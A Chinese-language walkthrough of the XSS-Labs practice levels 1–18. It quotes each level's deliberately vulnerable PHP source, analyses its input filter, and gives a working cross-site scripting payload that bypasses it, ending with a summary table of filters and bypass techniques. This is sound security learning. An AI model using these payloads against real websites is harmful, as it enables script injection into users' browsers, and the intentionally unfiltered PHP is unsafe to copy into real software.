最近闲来无事,重新翻阅了XSS-Labs的源码,整理了常见的防御思路,和对绕过方法进行了总结学习,具体的内容思路分析如下:
关卡记录
01-Level1
网站源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
可以看到网站的源码中第 17 行至第 18 行的运行逻辑是接收名称为 name 的参数,然后打印到网页上,
由于没有对$_GET变量进行验证或过滤,这可能会导致安全风险,比如 XSS 注入攻击,使用如下 Payload 可以触发 XSS 攻击。
http://127.0.0.1/xss/level1.php?name=%3Cscript%3Ealert(%271%27)%3C/script%3E
02-Level2
网站源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
核心代码分析:
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
关键函数分析:
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
htmlspecialchars
是一个在 PHP 中广泛使用的函数,它的主要作用是将特定的字符转换为 HTML 实体。这些特定的字符包括小于号(<)、大于号(>)、引号(")、尖括号(')和和号(&)。在输出到网页上时,这些字符如果以原始形式出现,可能会改变页面的结构或执行意外的脚本。通过转换这些字符为对应的 HTML 实体,htmlspecialchars 函数保证了输出的安全性和正确性。
同时:默认情况下,htmlspecialchars 只转换双引号。如果需要转换单引号和尖括号,需要设置相应的标志:
echo htmlspecialchars("This is a test & example", ENT_QUOTES);
当我们输入第一关的 payload 后会注意到,前端代码显示如下 文所示:
其第一段和我们输入有关的代码以二级标题的形式显示在网页中并且存在过滤,而第二段和我们输入有关的代码则位于名为keyword
的input
模块的value
中,因此我们考虑想办法让value
中的值与input
模块闭合,从而造成恶意的Javascript
执行。
因此我们构造如下的 Payload:
"><script>alert('XSS Attack!');</script><!--
和原有 URL 组合即为:
http://127.0.0.1/xss/level2.php?keyword="><script>alert('XSS Attack!');</script><!--
可以看到成功嵌入恶意代码
最终成功触发 XSS 漏洞
03-Level3
网站源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
核心代码分析:
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
可以看到此时两处和输入有关的代码,都使用了 htmlspecialchars
进行了过滤。
我们将第二关的 Payload 放入第三关,可以看到尖括号已经被过滤:
因此我们考虑不使用尖括号进行 XSS 攻击,而是在原有基础上进行闭合 并且进行额外的JavaScript
执行。
因此构造 Payload 如下:
' onmouseover=javascript:alert(123) >
和原有 URL 组合即为:
http://127.0.0.1/xss/level3.php?keyword=%27+onfocus%3Djavascript%3Aalert%281%29%22%3E&submit=%E6%90%9C%E7%B4%A2
此时前端代码显示如下,成功触发 XSS 漏洞
04-Level4
网页源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
核心代码:
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
代码分析:可以看到 Level4 不同于 Level3 的区别在于首先闭合方式上 Level4 的双引号闭合,而 Level3 是单引号闭合,并且 input 模块处没有使用htmlspecialchars
,但是 Level4 过滤的<
,>
两个括号,因此绕过思路同htmlspecialchars
,不同的是htmlspecialchars
会过滤双引号,而此处需要我们使用双引号绕过,因此十分好绕过,构造 Payload 如下:
" onmouseover=javascript:alert(123)
和原有 URL 组合即为:
http://127.0.0.1/xss/level4.php?keyword=%22+onmouseover%3Djavascript%3Aalert%28123%29+&submit=%E6%90%9C%E7%B4%A2
此时前端代码显示如下,成功触发 XSS 漏洞
05-Level5
网页源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
核心代码:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
核心代码分析:
此处使用了多个函数进行处理,首先将字符统一转换为小写字符,避免了大小写绕过,然后再将<script
转换为<scr_ipt
,最后再将on
转换为了o_n
,这个时候简单的使用事件对象和script
标签进行触发会很困难,因此考虑使用超链接触发,构造 Payload 如下:
" ><a href=javascript:alert(2024)>haha</a>
与原本 URL 组合后发送,网页显示如下,点击后触发 XSS
06-Level6
网页源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
核心代码:
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
可以看到本关卡的过滤过滤了script
、on
、src
、data
、href
,但是并没有将字符统一转换为小写,因此可以进行大小写绕过,构造 payload 如下:
" oNmouseover=javascRipt:alert(123)
与原本 URL 组合后发送,网页显示如下,成功触发 XSS
07-Level7
网页源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
核心代码:
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
本关卡在 Level6 的基础上统一将字符串转为了小写,进行了过滤。但是这个时候的过滤是将恶意字符串转换为空,因此可以考虑使用双写绕过,构造 payload 如下:
" oonNmouseover=javascRscriptipt:alert(123)
与原本 URL 组合后发送,网页显示如下,成功触发 XSS
08-Level8
网页源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
核心代码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
可以看到本次的过滤手法有:
- 统一转换为小写字符串
- 过滤了关键字
**script**
、**on**
、**src**
、**data**
、**href**
- 对双引号做了过滤,导致了闭合困难。
突破口:
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
这种时候,原有的英文编码方式已经无法绕过,考虑换一种方式,此时我们考虑使用 HTML 实体编码:
HTML实体编码是一种在HTML文档中使用的编码机制,它允许开发者将特定的字符序列转换为安全的显示内容。在HTML中,某些字符具有特殊意义,比如小于号(<)和大于号(>)用于定义HTML标签,如果直接在这些字符后面加上文本,浏览器会误以为是标签而不是文本。为了避免这种情况,HTML实体编码提供了一种方法,将这些特殊字符转换为编码形式,从而在浏览器中正确显示文本。
HTML实体编码的基本结构由一个特殊字符的开始(通常是"&“),接着是一个实体名称或实体编号,最后是一个分号(”;")。实体名称通常是拉丁字母和数字的组合,而实体编号则是该字符在Unicode标准中的数值表示。
此时我们首先构造 Payload:
javascript:alert(1)
然后将其转换为 HTML 实体编码
javascript:alert(1)
复制 Payload 进行发送,成功触发 XSS
09-Level 9
网页源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
本关卡依旧使用 HTML 实体编码,不同的是,它需要我们的字符串中出现http://
,否则无法正常显示,因此构造 Payload 如下:
javascript:alert(1)//http://
注意语句中的//http://
这是利用了注释符的作用,如果没有前面的//
会导致语句无法正常执行。
复制 Payload 进行发送,成功触发 XSS
10-Level10
网页源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
核心代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
首先使用了htmlspecialchars
过滤了变量keyword
的参数,然后存在隐藏参数,t_sort
过滤了尖括号,因此考虑使用 Level6 的绕过方式进行绕过,同时需要将隐藏参数显示在前端使得触发,构造 payload 如下:
" type="text" onmouseover="javascript:alert(1)
# 注意,onmouseover= 后的双引号是为了完成闭合
复制 Payload 进行发送,成功触发 XSS
11-Level11
网页源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
核心代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
可以看到其实对变量keyword
、t_sort
都进行了过滤,而新引进了参数HTTP_REFERER,因此我们构造数据包,从 Refer 参数中进行恶意 Payload 发送,实现 XSS 攻击
12-Level12
网页源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
核心代码:
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
解题思路:
**通过 ****User-Agent**
进行注入,构造数据包如下:
发送数据包后成功触发 XSS 请求攻击
13-Level13
网页源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
核心代码:
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
解题思路:
**通过 ****Cookie**
进行注入,构造数据包如下:
发送数据包后成功触发 XSS 请求攻击
14-Level14
不知道为啥无法正常访问服务,考察的是 EXIF XSS,后续会专门找资料进行练习
15-Level15
网页源码:
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
核心代码:
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
其中,最关键的是ng-include
,ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点,ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
构造 Payload 如下:
'level1.php?name=<img src=x onerror=alert(1)>'
发送后成功触发 XSS 攻击
http://127.0.0.1/xss/level15.php?src= 'level1.php?name=<img src=x onerror=alert(1)>'
16-Level16
网页源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
核心代码:
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
过滤了 script、空格、斜杠符等字符。
因此通过换行符进行绕过
构造 payload 如下:
<img
src=1
onerror=alert(123)>
放入 URL 中格式如下:
http://127.0.0.1/xss/level16.php?keyword=%3Cimg%0Asrc=1%0Aonerror=alert(123)%3E
发送后成功触发 XSS 攻击
17-Level17
网页源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
核心代码:
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
构造 Payload:
http://127.0.0.1/xss/level17.php?arg01=a&arg02=1%27%20onmouseover=alert(1)
18-Level18
网页源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>
核心代码:
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
构造 Payload:
http://127.0.0.1/xss/level18.php?arg01=a&arg02=1%27%20onmouseover=alert(1)
方法总结
XSS 常见过滤方法和绕过方式如下表所示:
过滤方式 | 绕过方法 | 示例 |
---|---|---|
htmlspecialchars 函数 | 这种方法过滤了尖括号,默认情况下过滤了双引号,因此我们需要使用构造闭合的方式去绕过 | 'onmouseover=javascript:alert(123) > |
正则匹配过滤 on,并且不受空格替换,统一进行小写转换 | 这种可以尝试使用标签进行绕过 | " ><a href=javascript:alert(2024)>haha</a> |
正则匹配过滤 on,并且不受空格替换,不统一进行小写转换 | 通过大小写绕过的方式进行绕过 | " oNmouseover=javascRipt:alert(123) |
正则匹配过滤 on,受空格替换,统一进行小写转换 | 通过双写绕过的方式进行绕过 | " oonNmouseover=javascRscriptipt:alert(123) |
- 统一转换为小写字符串 - 过滤了关键字 **script** 、**on** 、**src** 、**data** 、**href** - 对双引号做了过滤,导致了闭合困难。 | 使用 HTML 实体编码绕过 | javascript:alert(1) |
过滤了 script、空格、斜杠符等字符。 | 因此通过换行符进行绕过 |
在进行 XSS 注入的时候,最关键的就是关注交互的参数点,这种参数点可能并不会以显示的性格是显示在前端,可能是 hidden 的形式,也可能是 Cookie、User-Agent、Refer 这些参数。
因此我们需要在渗透的时候更多的关注这些参数点。同时也需要解决如何自动化发现 XSS 漏洞的问题。